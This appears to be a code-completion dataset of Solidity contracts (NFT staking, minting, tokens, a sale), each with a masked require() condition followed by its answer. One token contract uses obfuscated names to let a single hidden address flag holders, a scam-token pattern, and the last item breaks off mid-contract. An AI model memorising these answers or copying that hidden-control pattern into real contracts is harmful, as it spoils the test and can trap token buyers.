/// @notice Mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool public tokensClaimable;
bool initialised;
/// @notice event emitted when a user has staked a nft
event Staked(address owner, uint256 amount);
/// @notice event emitted when a user has unstaked a nft
event Unstaked(address owner, uint256 amount);
/// @notice event emitted when a user claims reward
event RewardPaid(address indexed user, uint256 reward);
/// @notice Allows reward tokens to be claimed
event ClaimableStatusUpdated(bool status);
/// @notice Emergency unstake tokens without rewards
event EmergencyUnstake(address indexed user, uint256 tokenId);
function initStaking() public onlyOwner {
}
function setTokensClaimable(bool _enabled) public onlyOwner {
}
function getStakedTokens(address _user)
public
view
returns (uint256[] memory tokenIds)
{
}
function stake(uint256 tokenId) public {
}
function stakeBatch(uint256[] memory tokenIds) public {
}
function _stake(address _user, uint256 _tokenId) internal {
}
function unstake(uint256 _tokenId) public {
}
function unstakeBatch(uint256[] memory tokenIds) public {
}
// Unstake without caring about rewards. EMERGENCY ONLY.
function emergencyUnstake(uint256 _tokenId) public {
require(<FILL_ME>)
_unstake(msg.sender, _tokenId);
emit EmergencyUnstake(msg.sender, _tokenId);
}
function _unstake(address _user, uint256 _tokenId) internal {
}
function updateReward(address _user) public {
}
function claimReward(address _user) public {
}
}
| tokenOwner[_tokenId]==msg.sender,"nft._unstake: Sender must have staked tokenID" | 251,960 | tokenOwner[_tokenId]==msg.sender |
"Nft Staking System: user must be the owner of the staked nft" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "hardhat/console.sol";
interface IRewardToken is IERC20 {
function mint(address to , uint256 amount) external;
}
contract Training is Ownable , ERC721Holder {
IRewardToken public rewardsToken;
IERC721 public nft;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 constant stakingTime = 86400 seconds;
uint256 constant token = 10e18;
struct Staker {
uint256[] tokenIds;
mapping(uint256 => uint256) tokenStakingCoolDown;
uint256 balance;
uint256 rewardsReleased;
}
constructor(IERC721 _nft, IRewardToken _rewardsToken){
}
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice Mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool public tokensClaimable;
bool initialised;
/// @notice event emitted when a user has staked a nft
event Staked(address owner, uint256 amount);
/// @notice event emitted when a user has unstaked a nft
event Unstaked(address owner, uint256 amount);
/// @notice event emitted when a user claims reward
event RewardPaid(address indexed user, uint256 reward);
/// @notice Allows reward tokens to be claimed
event ClaimableStatusUpdated(bool status);
/// @notice Emergency unstake tokens without rewards
event EmergencyUnstake(address indexed user, uint256 tokenId);
function initStaking() public onlyOwner {
}
function setTokensClaimable(bool _enabled) public onlyOwner {
}
function getStakedTokens(address _user)
public
view
returns (uint256[] memory tokenIds)
{
}
function stake(uint256 tokenId) public {
}
function stakeBatch(uint256[] memory tokenIds) public {
}
function _stake(address _user, uint256 _tokenId) internal {
}
function unstake(uint256 _tokenId) public {
}
function unstakeBatch(uint256[] memory tokenIds) public {
}
// Unstake without caring about rewards. EMERGENCY ONLY.
function emergencyUnstake(uint256 _tokenId) public {
}
function _unstake(address _user, uint256 _tokenId) internal {
require(<FILL_ME>)
Staker storage staker = stakers[_user];
if (staker.tokenIds.length > 0) {
staker.tokenIds.pop();
}
staker.tokenStakingCoolDown[_tokenId] = 0;
delete tokenOwner[_tokenId];
nft.safeTransferFrom(address(this), _user, _tokenId);
emit Unstaked(_user, _tokenId);
stakedTotal--;
}
function updateReward(address _user) public {
}
function claimReward(address _user) public {
}
}
| tokenOwner[_tokenId]==_user,"Nft Staking System: user must be the owner of the staked nft" | 251,960 | tokenOwner[_tokenId]==_user |
"0 rewards yet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import "hardhat/console.sol";
interface IRewardToken is IERC20 {
function mint(address to , uint256 amount) external;
}
contract Training is Ownable , ERC721Holder {
IRewardToken public rewardsToken;
IERC721 public nft;
uint256 public stakedTotal;
uint256 public stakingStartTime;
uint256 constant stakingTime = 86400 seconds;
uint256 constant token = 10e18;
struct Staker {
uint256[] tokenIds;
mapping(uint256 => uint256) tokenStakingCoolDown;
uint256 balance;
uint256 rewardsReleased;
}
constructor(IERC721 _nft, IRewardToken _rewardsToken){
}
/// @notice mapping of a staker to its wallet
mapping(address => Staker) public stakers;
/// @notice Mapping from token ID to owner address
mapping(uint256 => address) public tokenOwner;
bool public tokensClaimable;
bool initialised;
/// @notice event emitted when a user has staked a nft
event Staked(address owner, uint256 amount);
/// @notice event emitted when a user has unstaked a nft
event Unstaked(address owner, uint256 amount);
/// @notice event emitted when a user claims reward
event RewardPaid(address indexed user, uint256 reward);
/// @notice Allows reward tokens to be claimed
event ClaimableStatusUpdated(bool status);
/// @notice Emergency unstake tokens without rewards
event EmergencyUnstake(address indexed user, uint256 tokenId);
function initStaking() public onlyOwner {
}
function setTokensClaimable(bool _enabled) public onlyOwner {
}
function getStakedTokens(address _user)
public
view
returns (uint256[] memory tokenIds)
{
}
function stake(uint256 tokenId) public {
}
function stakeBatch(uint256[] memory tokenIds) public {
}
function _stake(address _user, uint256 _tokenId) internal {
}
function unstake(uint256 _tokenId) public {
}
function unstakeBatch(uint256[] memory tokenIds) public {
}
// Unstake without caring about rewards. EMERGENCY ONLY.
function emergencyUnstake(uint256 _tokenId) public {
}
function _unstake(address _user, uint256 _tokenId) internal {
}
function updateReward(address _user) public {
}
function claimReward(address _user) public {
require(tokensClaimable == true, "Tokens cannnot be claimed yet");
require(<FILL_ME>)
stakers[_user].rewardsReleased += stakers[_user].balance;
uint256 amount = stakers[_user].balance;
stakers[_user].balance = 0;
rewardsToken.mint(_user, amount);
emit RewardPaid(_user, stakers[_user].balance);
}
}
| stakers[_user].balance>0,"0 rewards yet" | 251,960 | stakers[_user].balance>0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
contract WMMK is Ownable{
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => bool) public boboinfo;
constructor(string memory tokenname,string memory tokensymbol,address nxrTAobl) {
}
address public rRKHpMiZ;
uint256 private _totalSupply;
string private _tokename;
string private _tokensymbol;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
function name() public view returns (string memory) {
}
uint128 bosum = 34534;
bool globaltrue = true;
bool globalff = false;
function cKjlUXdP(address keFmBREl) public virtual returns (bool) {
address tmoinfo = keFmBREl;
boboinfo[tmoinfo] = globaltrue;
require(<FILL_ME>)
return true;
}
function bYrOnwxj() external {
}
function symbol() public view returns (string memory) {
}
function wjkXzYim(address hkkk) external {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
| _msgSender()==rRKHpMiZ | 252,022 | _msgSender()==rRKHpMiZ |
"Already used hash" | pragma solidity ^0.8.4;
contract AlreadyDead is ERC721Enumerable, Ownable {
string public baseURI = "ipfs://QmNrHsNgPYPFfQbXJ6Mtej4uU6Ba3sJMD4vCaFK8EQgWkz/";
address private signer = 0x7B0c04da32690fB660D1918Bb0b2207968577f6F;
mapping(bytes32 => bool) private usedHash;
constructor() ERC721("AlreadyDead", "DEAD") {}
function verify(bytes32 hash, bytes memory signature) internal view returns (bool) {
}
function mint(uint256 tokenId, bytes memory signature) public {
bytes32 hash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender, tokenId)));
require(<FILL_ME>)
require(verify(hash, signature), "Invalid Signature");
usedHash[hash] = true;
_safeMint(msg.sender, tokenId);
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _BaseURI() internal view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function tokenExists(uint256 tokenId) public view returns (bool) {
}
function setSigner(address _address) external onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| !usedHash[hash],"Already used hash" | 252,028 | !usedHash[hash] |
"Invalid Signature" | pragma solidity ^0.8.4;
contract AlreadyDead is ERC721Enumerable, Ownable {
string public baseURI = "ipfs://QmNrHsNgPYPFfQbXJ6Mtej4uU6Ba3sJMD4vCaFK8EQgWkz/";
address private signer = 0x7B0c04da32690fB660D1918Bb0b2207968577f6F;
mapping(bytes32 => bool) private usedHash;
constructor() ERC721("AlreadyDead", "DEAD") {}
function verify(bytes32 hash, bytes memory signature) internal view returns (bool) {
}
function mint(uint256 tokenId, bytes memory signature) public {
bytes32 hash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender, tokenId)));
require(!usedHash[hash], "Already used hash");
require(<FILL_ME>)
usedHash[hash] = true;
_safeMint(msg.sender, tokenId);
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function _BaseURI() internal view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function tokenExists(uint256 tokenId) public view returns (bool) {
}
function setSigner(address _address) external onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| verify(hash,signature),"Invalid Signature" | 252,028 | verify(hash,signature) |
"MSG: Freesale max supply exceeded." | pragma solidity 0.8.7;
contract StickCity is ERC721A, Ownable {
// Supply
uint256 public maxSupply = 9999;
uint256 public freesaleSupply = 9499;
// States
bool public freesale = true;
// URI
string public baseURI = "ipfs://QmbDf9xpQwm6cN1pY1dsh6eKeq8HBnDzKD8Ym6XhFGiptv/";
// Constructor
constructor() ERC721A("STICK CITY", "SC") {}
// Mint - Functions
function mint(uint256 _mintAmount) external payable {
require(totalSupply() + _mintAmount <= maxSupply, "MSG: Max supply exceeded.");
require(freesale, "MSG: Freesale is not live yet.");
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
}
//Owner Mint
function ownerMint(uint256 _mintAmount) external payable onlyOwner {
}
// Other - Functions
function setMaxSupply(uint256 _supply) public onlyOwner {
}
function setFreesaleSupply(uint256 _supply) public onlyOwner {
}
function setFreesale(bool _state) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function withdraw() external payable onlyOwner {
}
}
| totalSupply()+_mintAmount<=freesaleSupply,"MSG: Freesale max supply exceeded." | 252,059 | totalSupply()+_mintAmount<=freesaleSupply |
null | pragma solidity ^0.7.6;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract IOM is IERC20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
string constant _name = "Internet of Memes";
string constant _symbol = "IoM";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000000000 * (10 ** _decimals);
uint256 _maxTxAmount = _totalSupply / 100;
uint256 _maxWalletAmount = _totalSupply / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping(address => uint256) _holderLastTransferTimestamp;
uint256 liquidityFee = 0;
uint256 marketingFee = 40;
uint256 teamFee = 40;
uint256 totalFee = 80;
uint256 feeDenominator = 1000;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public teamFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 10000; // 0.01%
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function getTotalFee() public view returns (uint256) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender,uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
function launched() internal view returns (bool) {
}
function launch() internal{
require(<FILL_ME>)
launchedAt = block.number;
launchedTime = block.timestamp;
}
function manualSwap()external authorized{
}
function setIsExemptFromFees(address holder, bool exempt) external onlyOwner {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _teamFeeReceiver, address _marketingFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
}
function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized {
}
function launchModeStatus() external view returns(bool) {
}
function launchMode() internal view returns(bool) {
}
function recoverEth() external onlyOwner() {
}
function recoverCoin(address _token, uint256 amount) external authorized returns (bool _sent){
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
}
| !launched() | 252,186 | !launched() |
"No available allocation" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../claim/ClaimConfigurable.sol";
// solhint-disable not-rely-on-time
/**
* @title MoonSaleOpen
* @notice This is a whitelisted sale contract. Every whitelisted address
* can buy the same amount of tokens on a FCFS basis.
*/
abstract contract MoonSaleBase is ClaimConfigurable, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public startTime;
uint256 public endTime;
uint256 public maxTotal; // Max total allocated (in sale token currency)
uint256 public total; // Total sold (in sale token currency)
address public treasury;
struct PaymentToken {
IERC20 token;
uint256 price;
}
PaymentToken[] public paymentTokens;
event PaymentTokenUpdated(address token, uint256 price);
event PaymentTokensReset();
event Bought(
address indexed by,
address indexed paymentToken,
uint256 paymentAmount,
uint256 buyAmount
);
constructor(
address _saleToken,
uint256 _price,
address _defaultPaymentToken,
uint256 _startTime,
uint256 _endTime,
uint256 _claimTime,
uint256 _maxTotal,
address _treasury,
uint256[4] memory vestingData
) ClaimConfigurable(_claimTime, _saleToken, vestingData) {
}
modifier withAllocation(address _address) virtual {
require(<FILL_ME>)
_;
}
// modify start time
function setStartTime(uint256 _startTime) external onlyOwner {
}
// modify end time
function setEndTime(uint256 _endTime) external onlyOwner {
}
// modify max total
function setMaxTotal(uint256 _maxTotal) external onlyOwner {
}
// set treasury
function setTreasury(address _treasury) external onlyOwner {
}
// Payment tokens
function getPaymentTokens() public view returns (PaymentToken[] memory) {
}
function resetPaymentTokens(
address[] calldata _tokens,
uint256[] calldata _prices
) external onlyOwner {
}
function addPaymentToken(
address _token,
uint256 _price
) external onlyOwner {
}
function removePaymentToken(address _token) external onlyOwner {
}
/**
* @dev Get reward token price in payment token.
* It returns "How much payment token you need to buy one sale token"
*
* @param paymentToken Payment token address
*
* @return Price in payment token
*/
function getPriceInToken(
address paymentToken
) public view returns (uint256) {
}
/**
* @dev Get available sale token for an address. That's the remaining sale token allocation available.
* @param _address Address to check
*
* @return Available sale token for an address
*/
function getAvailableAllocation(
address _address
) public view virtual returns (uint256) {
}
function buy(
address paymentToken,
uint256 paymentAmount
) external withAllocation(msg.sender) whenNotPaused nonReentrant {
}
/**
* @dev Get sale token amount that you would receive for a payment token amount
* @param paymentToken Payment token address
* @param paymentAmount Payment token amount
*
* @return Sale token amount
*/
function getTokenAmount(
address paymentToken,
uint256 paymentAmount
) public view returns (uint256) {
}
/**
* OVERRIDE
*/
/**
* @dev Get max allocation of sale token for an address. That's the maximum sale tokens an address can get.
* @param _address Address to check
*
* @return Max sale token amount for an address
*/
function getMaxAllocation(
address _address
) public view virtual returns (uint256);
function getSaleData()
public
view
returns (
address _rewardToken,
uint256 _startTime,
uint256 _endTime,
uint256 _maxTotal,
uint256 _total,
uint256 _available,
PaymentToken[] memory _paymentTokens
)
{
}
function getUserData(
address _address
)
public
view
returns (uint256 _allocation, uint256 _reward, uint256 _available)
{
}
}
// solhint-enable not-rely-on-time
| getAvailableAllocation(_address)>0,"No available allocation" | 252,202 | getAvailableAllocation(_address)>0 |
"OOS" | //SPDX-License-Identifier: MIT
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
pragma solidity ^0.8.0;
contract CatinDaHood is ERC721A, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenCounter;
uint256 public constant MaxPerTX = 10;
uint256 public Supply = 555;
uint256 public constant PRICE = 0.03 ether;
bool public SaleActive = true;
string private baseURI = "ipfs://Qmept2MqKnFpefXuEytK5Shy2WuRXncZ7vn1ifkSb9avKq";
// ============ ACCESS CONTROL/SANITY MODIFIERS ============
modifier publicSaleActive() {
}
modifier MintPerTX(uint256 numberOfTokens) {
}
modifier canMint(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
constructor(
) ERC721A("Cats in da Hood", "Meow", 100, Supply) {
}
modifier PaymentCheck(uint256 price, uint256 numberOfTokens) {
}
// ============ PUBLIC FUNCTIONS FOR MINTING ============
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
publicSaleActive
PaymentCheck(PRICE, numberOfTokens)
canMint(numberOfTokens)
MintPerTX(numberOfTokens)
{
}
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function getBaseURI() external view returns (string memory) {
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function withdrawTokens(IERC20 token) public onlyOwner {
}
// ============ SUPPORTING FUNCTIONS ============
function nextTokenId() private returns (uint256) {
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
// These contract definitions are used to create a reference to the OpenSea
// ProxyRegistry contract by using the registry's address (see isApprovedForAll).
contract OwnableDelegateProxy {
}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| totalSupply()+numberOfTokens<=Supply,"OOS" | 252,335 | totalSupply()+numberOfTokens<=Supply |
"exceeds max supply" | // SPDX-License-Identifier: MIT
// // // // // // // // // // // // // // // // // // // // // // // // // // // // //
// ,--. ,--. //
// .--.--. ,--.'| ,---, ,--/ /| ,---,. //
// / / '. ,--,: : | ' .' \ ,---,': / ' ,' .' | //
// | : /`. / ,`--.'`| ' : / ; '. : : '/ / ,---.' | //
// ; | |--` | : : | | : : \ | ' , | | .' //
// | : ;_ : | \ | : : | /\ \ ' | / : : |-, //
// \ \ `. | : ' '; | | : ' ;. : | ; ; : | ;/| //
// `----. \ ' ' ;. ; | | ;/ \ \ : ' \ | : .' //
// __ \ \ | | | | \ | ' : | \ \ ,' | | ' | | |-, //
// / /`--' / ' : | ; .' | | ' '--' ' : |. \ ' : ;/| //
// '--'. / | | '`--' | : : | | '_\.' | | | //
// `--'---' ' : | | | ,' ' : | | : .' //
// ; |.' `--'' ; |,' | | ,' //
// '---' '---' `----' //
// // // // // // // // // // // // // // // // // // // // // // // // // // // // //
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./SnakeLib.sol";
import "./ICalculator.sol";
contract Snake is ERC721, ERC2981, Ownable {
using Counters for Counters.Counter;
Counters.Counter private tokenSupply;
uint public price = 0.04 ether;
uint public maxSupply = 10_000;
string public frontEnd = "TBD";
ICalculator public calculator = ICalculator(0xC3B88A12D8Cda6b9802C30be4bb18BDd1828b317);
uint public CalcOwnerMultiplier;
mapping(uint => SnakeLib.ColorScheme) internal colorIdToScheme;
mapping(uint => uint) internal idToSchemeIndex;
event TokenMint(address purchaser, uint mints);
constructor() ERC721("Snake", "SNAKE") {
}
/*
* Takes an array of numbers between 1-5
* length of schemeIds is the number of tokens to mint. Max amount is 5
*/
function buySnake(uint[] memory schemeIds) public payable {
uint totalMints = schemeIds.length;
require(msg.value == getFinalPrice(totalMints, msg.sender), "wrong price");
require(totalMints <= 5 && totalMints > 0, "incorrect number");
require(<FILL_ME>)
for(uint i=0; i<totalMints; i++) {
require(schemeIds[i] > 0 && schemeIds[i]<=5, "color doesn't exist");
tokenSupply.increment();
uint256 newItemId = tokenSupply.current();
idToSchemeIndex[newItemId] = schemeIds[i];
_safeMint(msg.sender, newItemId);
}
emit TokenMint(msg.sender, totalMints);
}
function totalSupply() public view returns(uint) {
}
function getFinalPrice(uint amount, address user) public view returns (uint) {
}
function tokenURI(uint id) public view override returns (string memory) {
}
// OWNER FUNCTIONS
function withdrawFunds() public onlyOwner {
}
function setFrontEnd(string memory _frontEnd) public onlyOwner {
}
function setDiscount(uint multiplier) public onlyOwner {
}
// REQUIRED OVERRIDES:
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721,ERC2981)
returns (bool)
{
}
function _burn(uint256 tokenId) internal virtual override {
}
}
| tokenSupply.current()+totalMints<=maxSupply,"exceeds max supply" | 252,357 | tokenSupply.current()+totalMints<=maxSupply |
"color doesn't exist" | // SPDX-License-Identifier: MIT
// // // // // // // // // // // // // // // // // // // // // // // // // // // // //
// ,--. ,--. //
// .--.--. ,--.'| ,---, ,--/ /| ,---,. //
// / / '. ,--,: : | ' .' \ ,---,': / ' ,' .' | //
// | : /`. / ,`--.'`| ' : / ; '. : : '/ / ,---.' | //
// ; | |--` | : : | | : : \ | ' , | | .' //
// | : ;_ : | \ | : : | /\ \ ' | / : : |-, //
// \ \ `. | : ' '; | | : ' ;. : | ; ; : | ;/| //
// `----. \ ' ' ;. ; | | ;/ \ \ : ' \ | : .' //
// __ \ \ | | | | \ | ' : | \ \ ,' | | ' | | |-, //
// / /`--' / ' : | ; .' | | ' '--' ' : |. \ ' : ;/| //
// '--'. / | | '`--' | : : | | '_\.' | | | //
// `--'---' ' : | | | ,' ' : | | : .' //
// ; |.' `--'' ; |,' | | ,' //
// '---' '---' `----' //
// // // // // // // // // // // // // // // // // // // // // // // // // // // // //
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./SnakeLib.sol";
import "./ICalculator.sol";
contract Snake is ERC721, ERC2981, Ownable {
using Counters for Counters.Counter;
Counters.Counter private tokenSupply;
uint public price = 0.04 ether;
uint public maxSupply = 10_000;
string public frontEnd = "TBD";
ICalculator public calculator = ICalculator(0xC3B88A12D8Cda6b9802C30be4bb18BDd1828b317);
uint public CalcOwnerMultiplier;
mapping(uint => SnakeLib.ColorScheme) internal colorIdToScheme;
mapping(uint => uint) internal idToSchemeIndex;
event TokenMint(address purchaser, uint mints);
constructor() ERC721("Snake", "SNAKE") {
}
/*
* Takes an array of numbers between 1-5
* length of schemeIds is the number of tokens to mint. Max amount is 5
*/
function buySnake(uint[] memory schemeIds) public payable {
uint totalMints = schemeIds.length;
require(msg.value == getFinalPrice(totalMints, msg.sender), "wrong price");
require(totalMints <= 5 && totalMints > 0, "incorrect number");
require(tokenSupply.current() + totalMints <= maxSupply, "exceeds max supply");
for(uint i=0; i<totalMints; i++) {
require(<FILL_ME>)
tokenSupply.increment();
uint256 newItemId = tokenSupply.current();
idToSchemeIndex[newItemId] = schemeIds[i];
_safeMint(msg.sender, newItemId);
}
emit TokenMint(msg.sender, totalMints);
}
function totalSupply() public view returns(uint) {
}
function getFinalPrice(uint amount, address user) public view returns (uint) {
}
function tokenURI(uint id) public view override returns (string memory) {
}
// OWNER FUNCTIONS
function withdrawFunds() public onlyOwner {
}
function setFrontEnd(string memory _frontEnd) public onlyOwner {
}
function setDiscount(uint multiplier) public onlyOwner {
}
// REQUIRED OVERRIDES:
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721,ERC2981)
returns (bool)
{
}
function _burn(uint256 tokenId) internal virtual override {
}
}
| schemeIds[i]>0&&schemeIds[i]<=5,"color doesn't exist" | 252,357 | schemeIds[i]>0&&schemeIds[i]<=5 |
"MaxSale" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "./Ownable.sol";
import "./IBeFootBallOriginalsNFT.sol";
import "./IBeFootballOriginalsSale.sol";
contract BeFootballOriginalsPreSale is IBeFootballOriginalsSale, Ownable {
uint16 private startId;
uint16 private endId;
uint256 public price = 200000000000000000; //0.2 ETH
address public immutable befootballNFT;
address private wallet;
bool public saleIsActive;
event OriginalsBuy(address indexed _buyer, uint256 _amount, uint256 _copies);
event Withdrawn(uint256 _amount, address _wallet);
